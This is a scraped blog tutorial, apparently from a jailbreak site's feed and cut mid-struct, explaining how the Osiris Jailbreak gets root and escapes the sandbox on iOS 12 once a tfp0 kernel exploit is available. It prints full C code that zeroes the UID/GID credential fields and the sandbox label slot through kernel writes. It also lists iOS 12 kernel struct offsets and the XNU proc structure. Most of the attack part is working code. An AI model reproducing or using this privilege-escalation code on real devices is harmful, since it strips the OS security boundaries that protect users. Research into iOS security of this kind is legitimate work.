uint64_t p_dispatchqueue_serialno_offset;<br />
uint64_t p_return_to_kernel_offset;<br />
uint64_t p_mach_thread_self_offset;<br />
#if VM_PRESSURE_EVENTS<br />
struct timeval vm_pressure_last_notify_tstamp;<br />
#endif<br />
 <br />
#if CONFIG_MEMORYSTATUS<br />
/* Fields protected by proc list lock */<br />
TAILQ_ENTRY(proc) p_memstat_list;               /* priority bucket link */<br />
uint32_t          p_memstat_state;              /* state */<br />
int32_t           p_memstat_effectivepriority;  /* priority after transaction state accounted for */<br />
int32_t           p_memstat_requestedpriority;  /* active priority */<br />
uint32_t          p_memstat_dirty;              /* dirty state */<br />
uint64_t          p_memstat_userdata;           /* user state */<br />
uint64_t          p_memstat_idledeadline;       /* time at which process became clean */<br />
uint64_t          p_memstat_idle_start;         /* abstime process transitions into the idle band */<br />
uint64_t   p_memstat_idle_delta;         /* abstime delta spent in idle band */<br />
int32_t           p_memstat_memlimit;           /* cached memory limit, toggles between active and inactive limits */<br />
int32_t           p_memstat_memlimit_active; /* memory limit enforced when process is in active jetsam state */<br />
int32_t           p_memstat_memlimit_inactive; /* memory limit enforced when process is in inactive jetsam state */<br />
#if CONFIG_FREEZE<br />
uint32_t          p_memstat_suspendedfootprint; /* footprint at time of suspensions */<br />
#endif /* CONFIG_FREEZE */<br />
#endif /* CONFIG_MEMORYSTATUS */<br />
 <br />
/* cached proc-specific data required for corpse inspection */<br />
pid_t             p_responsible_pid; /* pid resonsible for this process */<br />
_Atomic uint32_t  p_user_faults; /* count the number of user faults generated */<br />
 <br />
struct os_reason     *p_exit_reason;<br />
};</code></div></div><br />
Here is the code from my Osiris Jailbreak for iOS 12:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>uint64_t findOurselves(){<br />
    static uint64_t self = 0;<br />
    if (!self) {<br />
        self = ReadKernel64(current_task + OFFSET(task, bsd_info));<br />
        printf("[i] Found Ourselves at 0x%llx&#92;n", self);<br />
    }<br />
    return self;<br />
}</code></div></div><br />
A simple function which returns an uint64_t (an address / a pointer) to ourselves in the kernel.<br />
The ReadKernel64(...) function is part of the exploit, the memory read primitive and it's actually a wrapper around rk64_via_tfp0() which is a wrapper around another function which is a wrapper around another until we get to mach_vm_read_overwrite() which is part of the iOS kernel. <br />
<br />
The current_task is exported as part of the exploit in kernel_memory.h as such:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>/*<br />
* current_task<br />
*<br />
* Description:<br />
* The address of the current task in kernel memory.<br />
*/<br />
 <br />
extern uint64_t current_task;</code></div></div><br />
The OFFSET(task, bsd_info) part is a macro defined in parameters.h on Brandon Azad's exploit:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>// Generate the name for an offset.<br />
 <br />
#define OFFSET(base_, object_) _##base_##__##object_##__offset_</code></div></div><br />
If everything goes fine and we have proper Kernel Read privileges and we have the correct offsets, we should now have our address which is our representation inside the Kernel. Let the games begin!<br />
At this point, getting ROOT and escaping the iOS Sandbox is ridiculously simple. Here's the code from my Osiris Jailbreak for iOS 12.<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>int elevatePrivsAndShaiHulud(){<br />
    if (!shouldUseMachSwap) {<br />
        printf("[i] Preparing to elevate own privileges!&#92;n");<br />
        uint64_t selfProc = findOurselves();<br />
        uint64_t creds = kernel_read64(selfProc + off_p_ucred);<br />
        <br />
        // GID<br />
        kernel_write32(selfProc + off_p_gid, 0);<br />
        kernel_write32(selfProc + off_p_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svgid, 0);<br />
        printf("[i] STILL HERE!!!!&#92;n");<br />
        <br />
        // UID<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        kernel_write32(selfProc + off_p_uid, 0);<br />
        kernel_write32(selfProc + off_p_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_uid, 0);<br />
        kernel_write32(creds + off_ucred_cr_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svuid, 0);<br />
        printf("[i] Set UID = 0&#92;n");<br />
        <br />
        // ShaiHulud<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        uint64_t cr_label = kernel_read64(creds + off_ucred_cr_label);<br />
        kernel_write64(cr_label + off_sandbox_slot, 0);<br />
 <br />
    }<br />
    if (geteuid() == 0) {<br />
        FILE * testfile = fopen("/var/mobile/OsirisJailbreak", "w");<br />
        if (!testfile) {<br />
            printf("[i] We failed! Still Sandboxed&#92;n");<br />
            return -2; // Root, but sandboxed :/<br />
        }else {<br />
            printf("[i] Nuked SandBox, FREEEEEEEEE!!!!!!&#92;n");<br />
            printf("[+] Wrote file OsirisJailbreak to /var/mobile/OsirisJailbreak successfully!&#92;n");<br />
            return 0; // FREE!!!!<br />
        }<br />
    } else {<br />
        return -1; // Not even root :(<br />
    }<br />
    return 0;<br />
}</code></div></div><br />
Bit of a bigger function, so let's break it point by point.<br />
The "if (!shouldUseMachSwap) { ... }" should be ignored. It's there because Osiris Jailbreak uses two exploits, Brandon Azad's and Sparkey's. Brandon's requires that I escape the Sandbox myself, while Sparkey's escapes the sandbox for me, so no need to run the function in that case.<br />
<br />
Immediately after that, we find ourselves using the above-mentioned function, then we do a kernel read to grab our credentials from our process representation in the kernel, which happens to be at selfProc + off_p_ucred. So, selfProc is the address returned by the findOurselves() function and it serves as our base address. Our process' representation in the kernel starts there. The off_p_ucred is an offset which as the value 0xF8 as you can see on the offsets code. So base address + 0xF8 = the address of our ucred structure.<br />
<br />
After that, you can see that I labeled a block "GID" and another one "UID". GID stands for Group Identifier and UID for User Identified. By default, our app belongs like any other AppStore app to mobile, a less privileged user on iOS with UID 501. We want root because it has way more privileges, that would be UID 0. For the group, we want "wheel" so again, GID 0, but we're listed as mobile (501) already in the kernel. No problem, these are not constants so we can do a simple Kernel Write to those offsets inside our structure to change our GID and UID to 0, so we do:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
 // GID<br />
        kernel_write32(selfProc + off_p_gid, 0);<br />
        kernel_write32(selfProc + off_p_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svgid, 0);<br />
        printf("[i] STILL HERE!!!!&#92;n");<br />
        <br />
        // UID<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        kernel_write32(selfProc + off_p_uid, 0);<br />
        kernel_write32(selfProc + off_p_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_uid, 0);<br />
        kernel_write32(creds + off_ucred_cr_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svuid, 0);<br />
        printf("[i] Set UID = 0&#92;n");</code></div></div><br />
The kernel_write32(...) function is part of the exploit. One of the Kernel Write primitives. The off_p_uid, off_p_ruid, off_p_gid,  off_p_rgid, off_ucred_cr_uid, off_ucred_cr_ruid and off_ucred_cr_svuid are all offsets from the above-mentioned huge offsets list. We have to set 0 to all these for the desired effect. Once we wrote 0, bam! we're "root:wheel" and not mobile (501) anymore.<br />
<br />
The next thing we do is to nuke the Sandbox. By default, we're sandboxed like any third-party iOS app. This means that we can ONLY write to our App's own folders, and we cannot do much. We want full system access so it's time to leave the sand and the box for a better landscape.<br />
<br />
In order to nuke the Sandbox, all we need to do is to find again our process' representation in the kernel, use the offsets to locate the cr_label through a kernel_read64(...), then to the cr_label address we add the off_sandbox_slot offset which is 0x10 on iOS 12, and then at the address we obtain we just have to write 0. We do that like this on Osiris Jailbreak:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
 // ShaiHulud<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        uint64_t cr_label = kernel_read64(creds + off_ucred_cr_label);<br />
        kernel_write64(cr_label + off_sandbox_slot, 0);</code></div></div><br />
Now we should be outta Sandbox and root, but we should do a check before we continue, just in case so we check if we are root through "if (geteuid() == 0) {...} ". If we are root, we proceed to create a new file in a path we should not be allowed to if we're still sandboxed. For this, the "/var/mobile/" suffices. We try to create there an empty file called "OsirisJailbreak". If the file is created, we're clearly out of the sandbox and root, so we suck sid (succeed), else, we failed hard - probably wrong offsets or bad read / write primitives or permissions.<br />
Here's the code from Osiris Jailbreak for performing the check:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
if (geteuid() == 0) {<br />
        FILE * testfile = fopen("/var/mobile/OsirisJailbreak", "w");<br />
        if (!testfile) {<br />
            printf("[i] We failed! Still Sandboxed&#92;n");<br />
            return -2; // Root, but sandboxed :/<br />
        }else {<br />
            printf("[i] Nuked SandBox, FREEEEEEEEE!!!!!!&#92;n");<br />
            printf("[+] Wrote file OsirisJailbreak to /var/mobile/OsirisJailbreak successfully!&#92;n");<br />
            return 0; // FREE!!!!<br />
        }<br />
    } else {<br />
        return -1; // Not even root :(<br />
    }<br />
    return 0;</code></div></div><br />
If everything went fine, we should return 0 ("FREE!!!!").<br />
<br />
And that is all, that's how you get root and how you escape Sandbox while building your own jailbreak on iOS 12 once you have tfp0. <img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /><br />
<br />
I hope you enjoyed this article.<br />
All the best, GeoSn0w (@FCE365).]]></description>
			<content:encoded><![CDATA[So you wanna build a Jailbreak and there is a tfp0 kernel exploit released (probably by either Sparkey or by Google Project Zero if I know this community well). The tfp0 is basically task_for_pid(0) so the task port for PID 0, which is the kernel_task or the XNU kernel itself. Once you've got tfp0, things are pretty simple because if you possess the Kernel Task Port, you have access to vm_read and vm_write to the Kernel Virtual Memory which means that you can apply various patches to yourself (your process representation in the kernel), or to other processes.<br />
<br />
Of course, Apple thought about this and starting with iOS 9 things have changed quite a bit with the advent of KPP or Kernel Patch Protection. With A10 (iPhone 7, 7 Plus), Apple took it one step further after KPP was bypassed in iOS 9 and 10. They introduced KTRR (Kernel Text Read-Only Region), a hardware solution which to this date was only bypassed once, back in the iOS 10 days. KPP and KTRR are very different in the implementation. One is software, another is hardware, and they work in different ways. Siguza has very well writ explanations on how these work in his blog, but it suffices to know that both KTRR and KPP prevent you from patching the Kernel (well, Apple tried... in reality, they only protect the __TEXT region (the code itself) and the constants). Since variable data cannot be protected, it has since been abused to heck and beyond in all post iOS 10 Jailbreaks, the so-called KPPLess paradigm which is not really a KPP bypass, but a KPP compliance. KPP/KTRR don't want us to mess with the constants and the code, and we don't because we don't even have to, at least for now.<br />
<br />
iOS is basically a mobile fork of macOS which grew to have its own particularities. macOS is basically FreeBSD + Unix + Apple's own shenanigans, so you will see many similarities with other Unix-based systems. One of these is the fact that each process that runs on the device has a PID (process ID) and a representation somewhere in the kernel. That representation holds everything from your permissions (or lack of thereof) to your PID, your Entitlements (to make AMFI happy) and other bits and pieces which make up the process structure.<br />
<br />
So the plan is simple: If you have Kernel Read / Write privileges, you can poke around the kernel to find basically yourself (your app's representation in the Kernel). Once you find that, given the right offsets, you can modify the data to grant yourself new entitlements (they govern what you can and what you can't as an App on iOS), escape yourself from the SandBox, get to be owned by root (root:wheel) rather than mobile which is far more limited, etc.<br />
(Or you can just say freak it and get the kernel credentials and replace yours with the kernel's, but not only that can result in weird bugs due to increased reference counters and other weird glitches, but it's also a bit dangerous).<br />
<br />
So, the first thing we wanna do after we've integrated the tfp0 exploit with our Jailbreak Xcode project is to add the proper offsets. These offsets basically represent how far from a specific base address we should expect to find an object in the memory.<br />
The following analogy should clear what offsets are once and for all:<br />
Imagine a street. The street has a number, let's say street 0xFFFFFFFFFFa14eba. Now, there are multiple houses on that street, but we want to find Joe's house. We know that Joe lives at the house 401 so 401 is the offset because from the base address (the start of the street) we need to go 401 positions up (houses) before we find what we need. The same way in the memory we can find things by knowing their offsets relative to a base address.<br />
<br />
Problem with these offsets is that they change from a version to another and even from a device to another, so iOS 11's offsets will not work on iOS 12. They may, however, in some cases work from a minor version to another, for example from 12.0 to 12.1.2.<br />
<br />
The following structure contains the offsets for iOS 12.x firmware:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>uint32_t _kstruct_offsets_12_0[] = {<br />
    0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE<br />
    0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT<br />
    0x14, // KSTRUCT_OFFSET_TASK_ACTIVE<br />
    0x20, // KSTRUCT_OFFSET_TASK_VM_MAP<br />
    0x28, // KSTRUCT_OFFSET_TASK_NEXT<br />
    0x30, // KSTRUCT_OFFSET_TASK_PREV<br />
    0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE<br />
#if __arm64e__<br />
    0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO<br />
#else<br />
    0x358, // KSTRUCT_OFFSET_TASK_BSD_INFO<br />
#endif<br />
#if __arm64e__<br />
    0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR<br />
#else<br />
    0x398, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR<br />
#endif<br />
#if __arm64e__<br />
    0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE<br />
#else<br />
    0x3a0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE<br />
#endif<br />
#if __arm64e__<br />
    0x400, // KSTRUCT_OFFSET_TASK_TFLAGS<br />
#else<br />
    0x390, // KSTRUCT_OFFSET_TASK_TFLAGS<br />
#endif<br />
    <br />
    0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS<br />
    0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES<br />
    0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE<br />
    0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT<br />
    0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER<br />
    0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT<br />
    0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG<br />
    0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT<br />
    0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS<br />
    <br />
    0x60, // KSTRUCT_OFFSET_PROC_PID<br />
    0x108, // KSTRUCT_OFFSET_PROC_P_FD<br />
    0x10, // KSTRUCT_OFFSET_PROC_TASK<br />
    0xf8, // KSTRUCT_OFFSET_PROC_UCRED<br />
    0x8, // KSTRUCT_OFFSET_PROC_P_LIST<br />
    0x290, // KSTRUCT_OFFSET_PROC_P_CSFLAGS<br />
    <br />
    0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES<br />
    <br />
    0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB<br />
    <br />
    0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB<br />
    <br />
    0x10, // KSTRUCT_OFFSET_PIPE_BUFFER<br />
    <br />
    0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE<br />
    0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE<br />
    <br />
    0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT<br />
    0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO<br />
    0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK<br />
    0xe0, // KSTRUCT_OFFSET_VNODE_V_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS<br />
    <br />
    0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG<br />
    0x8f8, // KSTRUCT_OFFSET_MOUNT_MNT_DATA<br />
    <br />
    0x10, // KSTRUCT_OFFSET_HOST_SPECIAL<br />
    <br />
    0x18, // KSTRUCT_OFFSET_UCRED_CR_UID<br />
    0x78, // KSTRUCT_OFFSET_UCRED_CR_LABEL<br />
    <br />
    0x18, // KSTRUCT_SIZE_IPC_ENTRY<br />
    <br />
    0x6c, // KFREE_ADDR_OFFSET<br />
};<br />
<br />
 <br />
// proc_t<br />
unsigned off_p_pid = 0x60;<br />
unsigned off_task = 0x10;<br />
unsigned off_p_uid = 0x28;<br />
unsigned off_p_gid = 0x2C;<br />
unsigned off_p_ruid = 0x30;<br />
unsigned off_p_rgid = 0x34;<br />
unsigned off_p_ucred = 0xF8;<br />
unsigned off_p_csflags = 0x290;<br />
unsigned off_p_comm = 0x250;<br />
unsigned off_p_textvp = 0x230;<br />
unsigned off_p_textoff = 0x238;<br />
unsigned off_p_cputype = 0x2A8;<br />
unsigned off_p_cpu_subtype = 0x2AC;<br />
 <br />
// task_t<br />
unsigned off_itk_self = 0xD8;<br />
unsigned off_itk_sself = 0xE8;<br />
unsigned off_itk_bootstrap = 0x2B8;<br />
unsigned off_itk_space = 0x300;<br />
 <br />
// ipc_port_t<br />
unsigned off_ip_mscount = 0x9C;<br />
unsigned off_ip_srights = 0xA0;<br />
unsigned off_ip_kobject = 0x68;<br />
 <br />
// ucred<br />
unsigned off_ucred_cr_uid = 0x18;<br />
unsigned off_ucred_cr_ruid = 0x1c;<br />
unsigned off_ucred_cr_svuid = 0x20;<br />
unsigned off_ucred_cr_ngroups = 0x24;<br />
unsigned off_ucred_cr_groups = 0x28;<br />
unsigned off_ucred_cr_rgid = 0x68;<br />
unsigned off_ucred_cr_svgid = 0x6c;<br />
unsigned off_ucred_cr_label = 0x78;<br />
 <br />
// vnode<br />
unsigned off_v_type = 0x70;<br />
unsigned off_v_id = 0x74;<br />
unsigned off_v_ubcinfo = 0x78;<br />
unsigned off_v_flags = 0x54;<br />
unsigned off_v_mount = 0xD8; // vnode::v_mount<br />
unsigned off_v_specinfo = 0x78; // vnode::v_specinfo<br />
 <br />
// ubc_info<br />
unsigned off_ubcinfo_csblobs = 0x50; // ubc_info::csblobs<br />
 <br />
// cs_blob<br />
unsigned off_csb_cputype = 0x8;<br />
unsigned off_csb_flags = 0x12;<br />
unsigned off_csb_base_offset = 0x16;<br />
unsigned off_csb_entitlements_offset = 0x90;<br />
unsigned off_csb_signer_type = 0xA0;<br />
unsigned off_csb_platform_binary = 0xA8;<br />
unsigned off_csb_platform_path = 0xAC;<br />
unsigned off_csb_cd = 0x80;<br />
 <br />
// task<br />
unsigned off_t_flags = 0x3A0;<br />
 <br />
// mount<br />
unsigned off_specflags = 0x10;<br />
unsigned off_mnt_flag = 0x70;<br />
unsigned off_mnt_data = 0x8F8;<br />
 <br />
 <br />
unsigned off_special = 2 * sizeof(long);<br />
unsigned off_ipc_space_is_table = 0x20;<br />
 <br />
unsigned off_amfi_slot = 0x8;<br />
unsigned off_sandbox_slot = 0x10;<br />
 <br />
_Bool offs_init() {<br />
    if (SYSTEM_VERSION_BETWEEN_OR_EQUAL_TO(@"12.0", @"13.0") &amp;&amp; !SYSTEM_VERSION_EQUAL_TO(@"13.0")) {<br />
        off_p_pid = 0x60;<br />
        off_task = 0x10;<br />
        off_p_uid = 0x28;<br />
        off_p_gid = 0x2C;<br />
        off_p_ruid = 0x30;<br />
        off_p_rgid = 0x34;<br />
        off_p_ucred = 0xF8;<br />
        off_p_csflags = 0x290;<br />
        off_p_comm = 0x250;<br />
        off_p_textvp = 0x230;<br />
        off_p_textoff = 0x238;<br />
        off_p_cputype = 0x2A8;<br />
        off_p_cpu_subtype = 0x2AC;<br />
        off_itk_space = 0x300;<br />
        off_csb_platform_binary = 0xA8;<br />
        off_csb_platform_path = 0xAC;<br />
    } else {<br />
        ERROR("iOS version unsupported.");<br />
        return false;<br />
    }<br />
    return true;<br />
}</code></div></div><br />
Alright, we have the offsets. Now what?<br />
Having tfp0 + offsets means that we can find ourselves, which we need to do if we want to escalate our privileges on iOS. So, in order to find ourselves, we have to read the Kernel memory until we find our PID.<br />
The kernel stores a proc structure for every single process in the memory, here's what that structure looks like:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>struct proc {<br />
LIST_ENTRY(proc) p_list; /* List of all processes. */<br />
 <br />
pid_t p_pid; /* Process identifier. (static)*/<br />
void * task; /* corresponding task (static)*/<br />
struct proc * p_pptr; /* Pointer to parent process.(LL) */<br />
pid_t p_ppid; /* process's parent pid number */<br />
pid_t p_pgrpid; /* process group id of the process (LL)*/<br />
uid_t p_uid;<br />
gid_t p_gid;<br />
uid_t p_ruid;<br />
gid_t p_rgid;<br />
uid_t p_svuid;<br />
gid_t p_svgid;<br />
uint64_t p_uniqueid; /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */<br />
uint64_t p_puniqueid; /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */<br />
 <br />
lck_mtx_t p_mlock; /* mutex lock for proc */<br />
 <br />
char p_stat; /* S* process status. (PL)*/<br />
char p_shutdownstate;<br />
char p_kdebug; /* P_KDEBUG eq (CC)*/ <br />
char p_btrace; /* P_BTRACE eq (CC)*/<br />
 <br />
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */<br />
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/<br />
LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/<br />
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads  (PL) */<br />
 <br />
LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/<br />
TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */<br />
 <br />
#if CONFIG_PERSONAS<br />
struct persona  *p_persona;<br />
LIST_ENTRY(proc) p_persona_list;<br />
#endif<br />
 <br />
lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */<br />
lck_mtx_t p_ucred_mlock; /* mutex lock to protect p_ucred */<br />
 <br />
/* substructures: */<br />
kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */ !!!<br />
struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */<br />
struct pstats *p_stats; /* Accounting/statistics (PL). */<br />
struct plimit *p_limit; /* Process limits.(PL) */<br />
 <br />
struct sigacts *p_sigacts; /* Signal actions, state (PL) */<br />
int p_siglist; /* signals captured back from threads */<br />
lck_spin_t p_slock; /* spin lock for itimer/profil protection */<br />
 <br />
#define p_rlimit p_limit-&gt;pl_rlimit<br />
 <br />
struct plimit *p_olimit; /* old process limits  - not inherited by child  (PL) */<br />
unsigned int p_flag; /* P_* flags. (atomic bit ops) */<br />
unsigned int p_lflag; /* local flags  (PL) */<br />
unsigned int p_listflag; /* list flags (LL) */<br />
unsigned int p_ladvflag; /* local adv flags (atomic) */<br />
int p_refcount; /* number of outstanding users(LL) */<br />
int p_childrencnt; /* children holding ref on parent (LL) */<br />
int p_parentref; /* children lookup ref on parent (LL) */<br />
 <br />
pid_t p_oppid; /* Save parent pid during ptrace. XXX */<br />
u_int p_xstat; /* Exit status for wait; also stop signal. */<br />
uint8_t p_xhighbits; /* Stores the top byte of exit status to avoid truncation*/<br />
 <br />
#ifdef _PROC_HAS_SCHEDINFO_<br />
/* may need cleanup, not used */<br />
u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */<br />
fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/<br />
u_int p_slptime; /* used by proc_compare */<br />
#endif /* _PROC_HAS_SCHEDINFO_ */<br />
 <br />
struct itimerval p_realtimer; /* Alarm timer. (PSL) */<br />
struct timeval p_rtime; /* Real time.(PSL)  */<br />
struct itimerval p_vtimer_user; /* Virtual timers.(PSL)  */<br />
struct itimerval p_vtimer_prof; /* (PSL) */<br />
 <br />
struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */<br />
int p_debugger; /*  NU 1: can exec set-bit programs if suser */<br />
boolean_t sigwait; /* indication to suspend (PL) */<br />
void *sigwait_thread; /* 'thread' holding sigwait(PL)  */<br />
void *exit_thread; /* Which thread is exiting(PL)  */<br />
int p_vforkcnt; /* number of outstanding vforks(PL)  */<br />
    void *  p_vforkact;     /* activation running this vfork proc)(static)  */<br />
int p_fpdrainwait; /* (PFDL) */<br />
pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */<br />
 <br />
/* Following fields are info from SIGCHLD (PL) */<br />
pid_t si_pid; /* (PL) */<br />
u_int si_status; /* (PL) */<br />
u_int si_code; /* (PL) */<br />
uid_t si_uid; /* (PL) */<br />
 <br />
void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */<br />
 <br />
#if CONFIG_DTRACE<br />
user_addr_t p_dtrace_argv; /* (write once, read only after that) */<br />
user_addr_t p_dtrace_envp; /* (write once, read only after that) */<br />
lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */<br />
int p_dtrace_probes; /* (PL) are there probes for this proc? */<br />
u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */<br />
        uint8_t                         p_dtrace_stop;                  /* indicates a DTrace-desired stop */<br />
struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */<br />
struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */<br />
struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */<br />
struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */<br />
#endif /* CONFIG_DTRACE */<br />
 <br />
/* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */<br />
/* The following fields are all copied upon creation in fork. */<br />
#define p_startcopy p_argslen<br />
 <br />
u_int p_argslen; /* Length of process arguments. */<br />
int  p_argc; /* saved argc for sysctl_procargs() */<br />
user_addr_t user_stack; /* where user stack was allocated */<br />
struct vnode *p_textvp; /* Vnode of executable. */<br />
off_t p_textoff; /* offset in executable vnode */<br />
 <br />
sigset_t p_sigmask; /* DEPRECATED */<br />
sigset_t p_sigignore; /* Signals being ignored. (PL) */<br />
sigset_t p_sigcatch; /* Signals being caught by user.(PL)  */<br />
 <br />
u_char p_priority; /* (NU) Process priority. */<br />
u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */<br />
char p_nice; /* Process "nice" value.(PL) */<br />
u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */<br />
 <br />
// types currently in sys/param.h<br />
command_t   p_comm;<br />
proc_name_t p_name; /* can be changed by the process */<br />
 <br />
 <br />
struct pgrp *p_pgrp; /* Pointer to process group. (LL) */<br />
uint32_t p_csflags; /* flags for codesign (PL) */<br />
uint32_t p_pcaction; /* action  for process control on starvation */<br />
uint8_t p_uuid[16]; /* from LC_UUID load command */<br />
 <br />
/* <br />
* CPU type and subtype of binary slice executed in<br />
* this process.  Protected by proc lock.<br />
*/<br />
cpu_type_t p_cputype;<br />
cpu_subtype_t p_cpusubtype;<br />
 <br />
/* End area that is copied on creation. */<br />
/* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */<br />
#define p_endcopy p_aio_total_count<br />
int p_aio_total_count; /* all allocated AIO requests for this proc */<br />
int p_aio_active_count; /* all unfinished AIO requests for this proc */<br />
TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */<br />
TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */<br />
 <br />
struct klist p_klist;  /* knote list (PL ?)*/<br />
 <br />
struct rusage_superset *p_ru; /* Exit information. (PL) */<br />
int p_sigwaitcnt;<br />
thread_t p_signalholder;<br />
thread_t p_transholder;<br />
 <br />
/* DEPRECATE following field  */<br />
u_short p_acflag; /* Accounting flags. */<br />
volatile u_short p_vfs_iopolicy; /* VFS iopolicy flags. (atomic bit ops) */<br />
 <br />
user_addr_t p_threadstart; /* pthread start fn */<br />
user_addr_t p_wqthread; /* pthread workqueue fn */<br />
int p_pthsize; /* pthread size */<br />
uint32_t p_pth_tsd_offset; /* offset from pthread_t to TSD for new threads */<br />
user_addr_t p_stack_addr_hint; /* stack allocation hint for wq threads */<br />
void * p_wqptr; /* workq ptr */<br />
 <br />
struct  timeval p_start;        /* starting time */<br />
void * p_rcall;<br />
int p_ractive;<br />
int p_idversion; /* version of process identity */<br />
void * p_pthhash; /* pthread waitqueue hash */<br />
volatile uint64_t was_throttled __attribute__((aligned(8))); /* Counter for number of throttled I/Os */<br />
volatile uint64_t did_throttle __attribute__((aligned(8)));  /* Counter for number of I/Os this proc throttled */<br />
 <br />
#if DIAGNOSTIC<br />
unsigned int p_fdlock_pc[4];<br />
unsigned int p_fdunlock_pc[4];<br />
#if SIGNAL_DEBUG<br />
unsigned int lockpc[8];<br />
unsigned int unlockpc[8];<br />
#endif /* SIGNAL_DEBUG */<br />
#endif /* DIAGNOSTIC */<br />
uint64_t p_dispatchqueue_offset;<br />
uint64_t p_dispatchqueue_serialno_offset;<br />
uint64_t p_return_to_kernel_offset;<br />
uint64_t p_mach_thread_self_offset;<br />
#if VM_PRESSURE_EVENTS<br />
struct timeval vm_pressure_last_notify_tstamp;<br />
#endif<br />
 <br />
#if CONFIG_MEMORYSTATUS<br />
/* Fields protected by proc list lock */<br />
TAILQ_ENTRY(proc) p_memstat_list;               /* priority bucket link */<br />
uint32_t          p_memstat_state;              /* state */<br />
int32_t           p_memstat_effectivepriority;  /* priority after transaction state accounted for */<br />
int32_t           p_memstat_requestedpriority;  /* active priority */<br />
uint32_t          p_memstat_dirty;              /* dirty state */<br />
uint64_t          p_memstat_userdata;           /* user state */<br />
uint64_t          p_memstat_idledeadline;       /* time at which process became clean */<br />
uint64_t          p_memstat_idle_start;         /* abstime process transitions into the idle band */<br />
